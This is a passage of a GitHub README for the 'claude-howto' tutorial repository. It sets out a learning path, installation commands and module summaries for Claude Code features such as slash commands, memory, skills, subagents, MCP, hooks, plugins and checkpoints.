href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#not-sure-where-to-start\">Find Your Level</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CATALOG.md\">Browse the Feature Catalog</a></strong></p> \n<hr /> \n<h2>Table of Contents</h2> \n<ul> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#the-problem\">The Problem</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#how-claude-how-to-fixes-this\">How Claude How To Fixes This</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#how-it-works\">How It Works</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#not-sure-where-to-start\">Not Sure Where to Start?</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#what-can-you-build-with-this\">What Can You Build With This?</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#faq\">FAQ</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#contributing\">Contributing</a></li> \n <li><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#license\">License</a></li> \n</ul> \n<hr /> \n<h2>The Problem</h2> \n<p>You installed Claude Code. You ran a few prompts. Now what?</p> \n<ul> \n <li><strong>The official docs describe features \u2014 but don't show you how to combine them.</strong> You know slash commands exist, but not how to chain them with hooks, memory, and subagents into a workflow that actually saves hours.</li> \n <li><strong>There's no clear learning path.</strong> Should you learn MCP before hooks? Skills before subagents? You end up skimming everything and mastering nothing.</li> \n <li><strong>Examples are too basic.</strong> A \"hello world\" slash command doesn't help you build a production code review pipeline that uses memory, delegates to specialized agents, and runs security scans automatically.</li> \n</ul> \n<p>You're leaving 90% of Claude Code's power on the table \u2014 and you don't know what you don't know.</p> \n<hr /> \n<h2>How Claude How To Fixes This</h2> \n<p>This isn't another feature reference. It's a <strong>structured, visual, example-driven guide</strong> that teaches you to use every Claude Code feature with real-world templates you can copy into your project today.</p> \n<table> \n <thead> \n  <tr> \n   <th></th> \n   <th>Official Docs</th> \n   <th>This Guide</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>Format</strong></td> \n   <td>Reference documentation</td> \n   <td>Visual tutorials with Mermaid diagrams</td> \n  </tr> \n  <tr> \n   <td><strong>Depth</strong></td> \n   <td>Feature descriptions</td> \n   <td>How it works under the hood</td> \n  </tr> \n  <tr> \n   <td><strong>Examples</strong></td> \n   <td>Basic snippets</td> \n   <td>Production-ready templates you use immediately</td> \n  </tr> \n  <tr> \n   <td><strong>Structure</strong></td> \n   <td>Feature-organized</td> \n   <td>Progressive learning path (beginner to advanced)</td> \n  </tr> \n  <tr> \n   <td><strong>Onboarding</strong></td> \n   <td>Self-directed</td> \n   <td>Guided roadmap with time estimates</td> \n  </tr> \n  <tr> \n   <td><strong>Self-Assessment</strong></td> \n   <td>None</td> \n   <td>Interactive quizzes to find your gaps and build a personalized path</td> \n  </tr> \n </tbody> \n</table> \n<h3>What you get:</h3> \n<ul> \n <li><strong>10 tutorial modules</strong> covering every Claude Code feature \u2014 from slash commands to custom agent teams</li> \n <li><strong>Copy-paste configs</strong> \u2014 slash commands, <a href=\"http://CLAUDE.md\">CLAUDE.md</a> templates, hook scripts, MCP configs, subagent definitions, and full plugin bundles</li> \n <li><strong>Mermaid diagrams</strong> showing how each feature works internally, so you understand <em>why</em>, not just <em>how</em></li> \n <li><strong>A guided learning path</strong> that takes you from beginner to power user in 11-13 hours</li> \n <li><strong>Built-in self-assessment</strong> \u2014 run <code>/self-assessment</code> or <code>/lesson-quiz hooks</code> directly in Claude Code to identify gaps</li> \n</ul> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md\">Start the Learning Path -&gt;</a></strong></p> \n<hr /> \n<h2>How It Works</h2> \n<h3>1. Find your level</h3> \n<p>Take the <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md#-find-your-level\">self-assessment quiz</a> or run <code>/self-assessment</code> in Claude Code. Get a personalized roadmap based on what you already know.</p> \n<h3>2. Follow the guided path</h3> \n<p>Work through 10 modules in order \u2014 each builds on the last. Copy templates directly into your project as you learn.</p> \n<h3>3. Combine features into workflows</h3> \n<p>The real power is in combining features. Learn to wire slash commands + memory + subagents + hooks into automated pipelines that handle code reviews, deployments, and documentation generation.</p> \n<h3>4. Test your understanding</h3> \n<p>Run <code>/lesson-quiz [topic]</code> after each module. The quiz pinpoints what you missed so you can fill gaps fast.</p> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></strong></p> \n<hr /> \n<h2>Trusted by Developers</h2> \n<ul> \n <li><strong>GitHub stars</strong> from developers who use Claude Code daily</li> \n <li><strong>Forks</strong> from teams adapting this guide for their own workflows</li> \n <li><strong>Actively maintained</strong> \u2014 synced with every Claude Code release (latest: v2.1.302, October 2026)</li> \n <li><strong>Community-driven</strong> \u2014 contributions from developers who share their real-world configurations</li> \n</ul> \n<p><a href=\"https://star-history.com/#luongnv89/claude-howto&amp;Date\"><img alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=luongnv89/claude-howto&amp;type=Date\" /></a></p> \n<hr /> \n<h2>Not Sure Where to Start?</h2> \n<p>Take the self-assessment or pick your level:</p> \n<table> \n <thead> \n  <tr> \n   <th>Level</th> \n   <th>You can...</th> \n   <th>Start here</th> \n   <th>Time</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>Beginner</strong></td> \n   <td>Start Claude Code and chat</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">Slash Commands</a></td> \n   <td>~2.5 hours</td> \n  </tr> \n  <tr> \n   <td><strong>Intermediate</strong></td> \n   <td>Use <a href=\"http://CLAUDE.md\">CLAUDE.md</a> and custom commands</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">Skills</a></td> \n   <td>~3.5 hours</td> \n  </tr> \n  <tr> \n   <td><strong>Advanced</strong></td> \n   <td>Configure MCP servers and hooks</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">Advanced Features</a></td> \n   <td>~5 hours</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Full learning path with all 10 modules:</strong></p> \n<table> \n <thead> \n  <tr> \n   <th>Order</th> \n   <th>Module</th> \n   <th>Level</th> \n   <th>Time</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>1</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">Slash Commands</a></td> \n   <td>Beginner</td> \n   <td>30 min</td> \n  </tr> \n  <tr> \n   <td>2</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/02-memory/\">Memory</a></td> \n   <td>Beginner+</td> \n   <td>45 min</td> \n  </tr> \n  <tr> \n   <td>3</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/08-checkpoints/\">Checkpoints</a></td> \n   <td>Intermediate</td> \n   <td>45 min</td> \n  </tr> \n  <tr> \n   <td>4</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/10-cli/\">CLI Basics</a></td> \n   <td>Beginner+</td> \n   <td>30 min</td> \n  </tr> \n  <tr> \n   <td>5</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">Skills</a></td> \n   <td>Intermediate</td> \n   <td>1 hour</td> \n  </tr> \n  <tr> \n   <td>6</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/06-hooks/\">Hooks</a></td> \n   <td>Intermediate</td> \n   <td>1 hour</td> \n  </tr> \n  <tr> \n   <td>7</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/05-mcp/\">MCP</a></td> \n   <td>Intermediate+</td> \n   <td>1 hour</td> \n  </tr> \n  <tr> \n   <td>8</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/04-subagents/\">Subagents</a></td> \n   <td>Intermediate+</td> \n   <td>1.5 hours</td> \n  </tr> \n  <tr> \n   <td>9</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">Advanced Features</a></td> \n   <td>Advanced</td> \n   <td>2-3 hours</td> \n  </tr> \n  <tr> \n   <td>10</td> \n   <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/07-plugins/\">Plugins</a></td> \n   <td>Advanced</td> \n   <td>2 hours</td> \n  </tr> \n </tbody> \n</table> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md\">Complete Learning Roadmap -&gt;</a></strong></p> \n<hr /> \n<h2>Get Started in 15 Minutes</h2> \n<blockquote> \n <p><strong>Installation note</strong>: Starting in v2.1.113, Claude Code ships as a native per-platform binary (macOS/Linux/Windows). The recommended install is the native installer (<code>curl -fsSL https://claude.ai/install.sh | bash</code>); npm installation is deprecated in the official README; prefer the native installer, Homebrew (<code>brew install --cask claude-code</code>) or WinGet (<code>winget install Anthropic.ClaudeCode</code>). For reference, <code>npm install -g @anthropic-ai/claude-code</code> pulls the same native binary through a per-platform optional dependency at install time. As of v2.1.116, downloads come from <code>https://downloads.claude.ai/claude-code-releases</code> \u2014 corporate proxies must allowlist this host.</p> \n</blockquote> \n<pre><code class=\"language-bash\"># 1. Clone the guide\ngit clone https://github.com/luongnv89/claude-howto.git\ncd claude-howto\n\n# 2. Copy your first slash command\nmkdir -p /path/to/your-project/.claude/commands\ncp 01-slash-commands/optimize.md /path/to/your-project/.claude/commands/\n\n# 3. Try it \u2014 in Claude Code, type:\n# /optimize\n\n# 4. Ready for more? Set up project memory:\ncp 02-memory/project-CLAUDE.md /path/to/your-project/CLAUDE.md\n\n# 5. Install a skill:\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n</code></pre> \n<p>Want the full setup? Here's the <strong>1-hour essential setup</strong>:</p> \n<pre><code class=\"language-bash\"># Slash commands (15 min)\ncp 01-slash-commands/*.md .claude/commands/\n\n# Project memory (15 min)\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Install a skill (15 min)\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Weekend goal: add hooks, subagents, MCP, and plugins\n# Follow the learning path for guided setup\n</code></pre> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">View the Full Installation Reference</a></strong></p> \n<hr /> \n<h2>What Can You Build With This?</h2> \n<table> \n <thead> \n  <tr> \n   <th>Use Case</th> \n   <th>Features You'll Combine</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><strong>Automated Code Review</strong></td> \n   <td>Slash Commands + Subagents + Memory + MCP</td> \n  </tr> \n  <tr> \n   <td><strong>Team Onboarding</strong></td> \n   <td>Memory + Slash Commands + Plugins</td> \n  </tr> \n  <tr> \n   <td><strong>CI/CD Automation</strong></td> \n   <td>CLI Reference + Hooks + Background Tasks</td> \n  </tr> \n  <tr> \n   <td><strong>Documentation Generation</strong></td> \n   <td>Skills + Subagents + Plugins</td> \n  </tr> \n  <tr> \n   <td><strong>Security Audits</strong></td> \n   <td>Subagents + Skills + Hooks (read-only mode)</td> \n  </tr> \n  <tr> \n   <td><strong>DevOps Pipelines</strong></td> \n   <td>Plugins + MCP + Hooks + Background Tasks</td> \n  </tr> \n  <tr> \n   <td><strong>Complex Refactoring</strong></td> \n   <td>Checkpoints + Planning Mode + Hooks</td> \n  </tr> \n </tbody> \n</table> \n<hr /> \n<h2>FAQ</h2> \n<p><strong>Is this free?</strong> Yes. MIT licensed, free forever. Use it in personal projects, at work, in your team \u2014 no restrictions beyond including the license notice.</p> \n<p><strong>Is this maintained?</strong> Actively. The guide is synced with every Claude Code release. Current version: v2.1.302 (October 2026), compatible with Claude Code 2.1+.</p> \n<p><strong>How is this different from the official docs?</strong> The official docs are a feature reference. This guide is a tutorial with diagrams, production-ready templates, and a progressive learning path. They complement each other \u2014 start here to learn, reference the docs when you need specifics.</p> \n<p><strong>How long does it take to go through everything?</strong> 11-13 hours for the full path. But you'll get immediate value in 15 minutes \u2014 just copy a slash command template and try it.</p> \n<p><strong>Can I use this with Claude Sonnet / Haiku / Opus?</strong> Yes. All templates work with Claude Fable 5.1, Claude Fable 5, Claude Opus 5.5, Claude Opus 5, Claude Sonnet 5.5, Claude Sonnet 5, Claude Sonnet 4.6, Claude Opus 4.8, Claude Haiku 5.5, and Claude Haiku 4.5.</p> \n<p><strong>Can I contribute?</strong> Absolutely. See <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CONTRIBUTING.md\">CONTRIBUTING.md</a> for guidelines. We welcome new examples, bug fixes, documentation improvements, and community templates.</p> \n<p><strong>Can I read this offline?</strong> Yes. Run <code>uv run scripts/build_epub.py</code> to generate an EPUB ebook with all content and rendered diagrams.</p> \n<hr /> \n<h2>Start Mastering Claude Code Today</h2> \n<p>You already have Claude Code installed. The only thing between you and 10x productivity is knowing how to use it. This guide gives you the structured path, the visual explanations, and the copy-paste templates to get there.</p> \n<p>MIT licensed. Free forever. Clone it, fork it, make it yours.</p> \n<p><strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LEARNING-ROADMAP.md\">Start the Learning Path -&gt;</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CATALOG.md\">Browse the Feature Catalog</a></strong> | <strong><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/#get-started-in-15-minutes\">Get Started in 15 Minutes</a></strong></p> \n<hr /> \n<details> \n Quick Navigation \u2014 All Features \n <table> \n  <thead> \n   <tr> \n    <th>Feature</th> \n    <th>Description</th> \n    <th>Folder</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><strong>Feature Catalog</strong></td> \n    <td>Complete reference with installation commands</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CATALOG.md\">CATALOG.md</a></td> \n   </tr> \n   <tr> \n    <td><strong>Slash Commands</strong></td> \n    <td>User-invoked shortcuts</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">01-slash-commands/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Memory</strong></td> \n    <td>Persistent context</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/02-memory/\">02-memory/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Skills</strong></td> \n    <td>Reusable capabilities</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">03-skills/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Subagents</strong></td> \n    <td>Specialized AI assistants</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/04-subagents/\">04-subagents/</a></td> \n   </tr> \n   <tr> \n    <td><strong>MCP Protocol</strong></td> \n    <td>External tool access</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/05-mcp/\">05-mcp/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Hooks</strong></td> \n    <td>Event-driven automation</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/06-hooks/\">06-hooks/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Plugins</strong></td> \n    <td>Bundled features</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/07-plugins/\">07-plugins/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Checkpoints</strong></td> \n    <td>Session snapshots &amp; rewind</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/08-checkpoints/\">08-checkpoints/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Advanced Features</strong></td> \n    <td>Planning, thinking, background tasks</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">09-advanced-features/</a></td> \n   </tr> \n   <tr> \n    <td><strong>CLI Reference</strong></td> \n    <td>Commands, flags, and options</td> \n    <td><a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/10-cli/\">10-cli/</a></td> \n   </tr> \n   <tr> \n    <td><strong>Blog Posts</strong></td> \n    <td>Real-world usage examples</td> \n    <td><a href=\"https://medium.com/@luongnv89\">Blog Posts</a></td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<details> \n Feature Comparison \n <table> \n  <thead> \n   <tr> \n    <th>Feature</th> \n    <th>Invocation</th> \n    <th>Persistence</th> \n    <th>Best For</th> \n   </tr> \n  </thead> \n  <tbody> \n   <tr> \n    <td><strong>Slash Commands</strong></td> \n    <td>Manual (<code>/cmd</code>)</td> \n    <td>Session only</td> \n    <td>Quick shortcuts</td> \n   </tr> \n   <tr> \n    <td><strong>Memory</strong></td> \n    <td>Auto-loaded</td> \n    <td>Cross-session</td> \n    <td>Long-term learning</td> \n   </tr> \n   <tr> \n    <td><strong>Skills</strong></td> \n    <td>Auto-invoked</td> \n    <td>Filesystem</td> \n    <td>Automated workflows</td> \n   </tr> \n   <tr> \n    <td><strong>Subagents</strong></td> \n    <td>Auto-delegated</td> \n    <td>Isolated context</td> \n    <td>Task distribution</td> \n   </tr> \n   <tr> \n    <td><strong>MCP Protocol</strong></td> \n    <td>Auto-queried</td> \n    <td>Real-time</td> \n    <td>Live data access</td> \n   </tr> \n   <tr> \n    <td><strong>Hooks</strong></td> \n    <td>Event-triggered</td> \n    <td>Configured</td> \n    <td>Automation &amp; validation</td> \n   </tr> \n   <tr> \n    <td><strong>Plugins</strong></td> \n    <td>One command</td> \n    <td>All features</td> \n    <td>Complete solutions</td> \n   </tr> \n   <tr> \n    <td><strong>Checkpoints</strong></td> \n    <td>Manual/Auto</td> \n    <td>Session-based</td> \n    <td>Safe experimentation</td> \n   </tr> \n   <tr> \n    <td><strong>Planning Mode</strong></td> \n    <td>Manual/Auto</td> \n    <td>Plan phase</td> \n    <td>Complex implementations</td> \n   </tr> \n   <tr> \n    <td><strong>Background Tasks</strong></td> \n    <td>Manual</td> \n    <td>Task duration</td> \n    <td>Long-running operations</td> \n   </tr> \n   <tr> \n    <td><strong>CLI Reference</strong></td> \n    <td>Terminal commands</td> \n    <td>Session/Script</td> \n    <td>Automation &amp; scripting</td> \n   </tr> \n  </tbody> \n </table> \n</details> \n<details> \n Installation Quick Reference \n <pre><code class=\"language-bash\"># Slash Commands\ncp 01-slash-commands/*.md .claude/commands/\n\n# Memory\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Subagents\ncp 04-subagents/*.md .claude/agents/\n\n# MCP\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Hooks\nmkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\n\n# Plugins (load a local plugin from the repo root)\nclaude --plugin-dir ./07-plugins/pr-review\n\n# Checkpoints (auto-enabled, configure in settings)\n# See 08-checkpoints/README.md\n\n# Advanced Features (configure in settings)\n# See 09-advanced-features/config-examples.json\n\n# CLI Reference (no installation needed)\n# See 10-cli/README.md for usage examples\n</code></pre> \n</details> \n<details> \n 01. Slash Commands \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/01-slash-commands/\">01-slash-commands/</a></p> \n <p><strong>What</strong>: User-invoked shortcuts stored as Markdown files</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>optimize.md</code> - Code optimization analysis</li> \n  <li><code>pr.md</code> - Pull request preparation</li> \n  <li><code>generate-api-docs.md</code> - API documentation generator</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\">cp 01-slash-commands/*.md /path/to/project/.claude/commands/\n</code></pre> \n <p><strong>Usage</strong>:</p> \n <pre><code>/optimize\n/pr\n/generate-api-docs\n</code></pre> \n <p><strong>Learn More</strong>: <a href=\"https://medium.com/@luongnv89/discovering-claude-code-slash-commands-cdc17f0dfb29\">Discovering Claude Code Slash Commands</a></p> \n</details> \n<details> \n 02. Memory \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/02-memory/\">02-memory/</a></p> \n <p><strong>What</strong>: Persistent context across sessions</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>project-CLAUDE.md</code> - Team-wide project standards</li> \n  <li><code>directory-api-CLAUDE.md</code> - Directory-specific rules</li> \n  <li><code>personal-CLAUDE.md</code> - Personal preferences</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># Project memory\ncp 02-memory/project-CLAUDE.md /path/to/project/CLAUDE.md\n\n# Directory memory\ncp 02-memory/directory-api-CLAUDE.md /path/to/project/src/api/CLAUDE.md\n\n# Personal memory\ncp 02-memory/personal-CLAUDE.md ~/.claude/CLAUDE.md\n</code></pre> \n <p><strong>Usage</strong>: Automatically loaded by Claude</p> \n</details> \n<details> \n 03. Skills \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/03-skills/\">03-skills/</a></p> \n <p><strong>What</strong>: Reusable, auto-invoked capabilities with instructions and scripts</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>code-review-specialist/</code> - Comprehensive code review with scripts</li> \n  <li><code>brand-voice/</code> - Brand voice consistency checker</li> \n  <li><code>doc-generator/</code> - API documentation generator</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># Personal skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Project skills\ncp -r 03-skills/code-review-specialist /path/to/project/.claude/skills/\n</code></pre> \n <p><strong>Usage</strong>: Automatically invoked when relevant</p> \n</details> \n<details> \n 04. Subagents \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/04-subagents/\">04-subagents/</a></p> \n <p><strong>What</strong>: Specialized AI assistants with isolated contexts and custom prompts</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>code-reviewer.md</code> - Comprehensive code quality analysis</li> \n  <li><code>test-engineer.md</code> - Test strategy and coverage</li> \n  <li><code>documentation-writer.md</code> - Technical documentation</li> \n  <li><code>secure-reviewer.md</code> - Security-focused review (read-only)</li> \n  <li><code>implementation-agent.md</code> - Full feature implementation</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\">cp 04-subagents/*.md /path/to/project/.claude/agents/\n</code></pre> \n <p><strong>Usage</strong>: Automatically delegated by main agent</p> \n</details> \n<details> \n 05. MCP Protocol \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/05-mcp/\">05-mcp/</a></p> \n <p><strong>What</strong>: Model Context Protocol for accessing external tools and APIs</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>github-mcp.json</code> - GitHub integration</li> \n  <li><code>database-mcp.json</code> - Database queries</li> \n  <li><code>filesystem-mcp.json</code> - File operations</li> \n  <li><code>multi-mcp.json</code> - Multiple MCP servers</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># Set environment variables\nexport DATABASE_URL=\"postgresql://...\"\n\n# Add MCP server via CLI\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Or add to project .mcp.json manually (see 05-mcp/ for examples)\n</code></pre> \n <p><strong>Usage</strong>: MCP tools are automatically available to Claude once configured</p> \n</details> \n<details> \n 06. Hooks \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/06-hooks/\">06-hooks/</a></p> \n <p><strong>What</strong>: Event-driven shell commands that execute automatically in response to Claude Code events</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>format-code.sh</code> - Auto-format code after writing</li> \n  <li><code>pre-commit.sh</code> - Run tests before commits</li> \n  <li><code>security-scan.sh</code> - Scan for security issues</li> \n  <li><code>log-bash.sh</code> - Log all bash commands</li> \n  <li><code>validate-prompt.sh</code> - Validate user prompts</li> \n  <li><code>notify-team.sh</code> - Send notifications on events</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\">mkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\n</code></pre> \n <p>Configure hooks in <code>~/.claude/settings.json</code>:</p> \n <pre><code class=\"language-json\">{\n  \"hooks\": {\n    \"PostToolUse\": [\n      {\n        \"matcher\": \"Write\",\n        \"hooks\": [\n          { \"type\": \"command\", \"command\": \"~/.claude/hooks/format-code.sh\" },\n          { \"type\": \"command\", \"command\": \"~/.claude/hooks/security-scan.sh\" }\n        ]\n      }\n    ]\n  }\n}\n</code></pre> \n <p><strong>Usage</strong>: Hooks execute automatically on events</p> \n <p><strong>Hook Types</strong> (5): <code>command</code>, <code>http</code>, <code>prompt</code>, <code>mcp_tool</code>, <code>agent</code> \u2014 how a hook runs.</p> \n <p><strong>Hook Events</strong> (33, in 4 categories) \u2014 when it runs:</p> \n <ul> \n  <li><strong>Tool Hooks</strong>: <code>PreToolUse</code>, <code>PostToolUse</code>, <code>PostToolUseFailure</code>, <code>PostToolBatch</code>, <code>PermissionRequest</code>, <code>PermissionDenied</code></li> \n  <li><strong>Session Hooks</strong>: <code>SessionStart</code>, <code>Setup</code>, <code>SessionEnd</code>, <code>Stop</code>, <code>StopFailure</code>, <code>SubagentStart</code>, <code>SubagentStop</code></li> \n  <li><strong>Task Hooks</strong>: <code>UserPromptSubmit</code>, <code>UserPromptExpansion</code>, <code>MessageDisplay</code>, <code>TaskCompleted</code>, <code>TaskCreated</code>, <code>TeammateIdle</code> \u2014 <code>TaskCompleted</code> and <code>TaskCreated</code> only fire when the todo tools are enabled, which is available by default only on Claude 3.x models, Opus 4 through 4.7, Sonnet 4 through 4.6, and Haiku 4.5 (<code>CLAUDE_CODE_ENABLE_TODO_TOOLS=1</code> restores them)</li> \n  <li><strong>Lifecycle Hooks</strong>: <code>ConfigChange</code>, <code>CwdChanged</code>, <code>DirectoryAdded</code>, <code>FileChanged</code>, <code>PreCompact</code>, <code>PostCompact</code>, <code>PreModelSwitch</code>, <code>PostModelSwitch</code>, <code>WorktreeCreate</code>, <code>WorktreeRemove</code>, <code>Notification</code>, <code>InstructionsLoaded</code>, <code>Elicitation</code>, <code>ElicitationResult</code></li> \n </ul> \n</details> \n<details> \n 07. Plugins \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/07-plugins/\">07-plugins/</a></p> \n <p><strong>What</strong>: Bundled collections of commands, agents, MCP, and hooks</p> \n <p><strong>Examples</strong>:</p> \n <ul> \n  <li><code>pr-review/</code> - Complete PR review workflow</li> \n  <li><code>devops-automation/</code> - Deployment and monitoring</li> \n  <li><code>documentation/</code> - Documentation generation</li> \n </ul> \n <p><strong>Installation</strong>:</p> \n <pre><code class=\"language-bash\"># From the repo root (this repo ships no marketplace, so /plugin install does not apply)\nclaude --plugin-dir ./07-plugins/pr-review\nclaude --plugin-dir ./07-plugins/devops-automation\nclaude --plugin-dir ./07-plugins/documentation\n</code></pre> \n <p><strong>Usage</strong>: Use bundled slash commands and features</p> \n</details> \n<details> \n 08. Checkpoints and Rewind \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/08-checkpoints/\">08-checkpoints/</a></p> \n <p><strong>What</strong>: Save conversation state and rewind to previous points to explore different approaches</p> \n <p><strong>Key Concepts</strong>:</p> \n <ul> \n  <li><strong>Checkpoint</strong>: Snapshot of conversation state</li> \n  <li><strong>Rewind</strong>: Return to previous checkpoint</li> \n  <li><strong>Branch Point</strong>: Explore multiple approaches from same checkpoint</li> \n </ul> \n <p><strong>Usage</strong>:</p> \n <pre><code># Checkpoints are created automatically with every user prompt\n# To rewind, press Esc twice or use:\n/rewind\n\n# Then choose from six options:\n# 1. Restore code and conversation\n# 2. Restore conversation\n# 3. Restore code\n# 4. Summarize from here\n# 5. Summarize up to here\n# 6. Never mind\n</code></pre> \n <p><strong>Use Cases</strong>:</p> \n <ul> \n  <li>Try different implementation approaches</li> \n  <li>Recover from mistakes</li> \n  <li>Safe experimentation</li> \n  <li>Compare alternative solutions</li> \n  <li>A/B testing different designs</li> \n </ul> \n</details> \n<details> \n 09. Advanced Features \n <p><strong>Location</strong>: <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/09-advanced-features/\">09-advanced-features/</a></p> \n <p><strong>What</strong>: Advanced capabilities for complex workflows and automation</p> \n <p><strong>Includes</strong>:</p> \n <ul> \n  <li><strong>Planning Mode</strong> \u2014 Create detailed implementation plans before coding</li> \n  <li><strong>Extended Thinking</strong> \u2014 Deep reasoning for complex problems (toggle with <code>Alt+T</code> / <code>Option+T</code>)</li> \n  <li><strong>Background Tasks</strong> 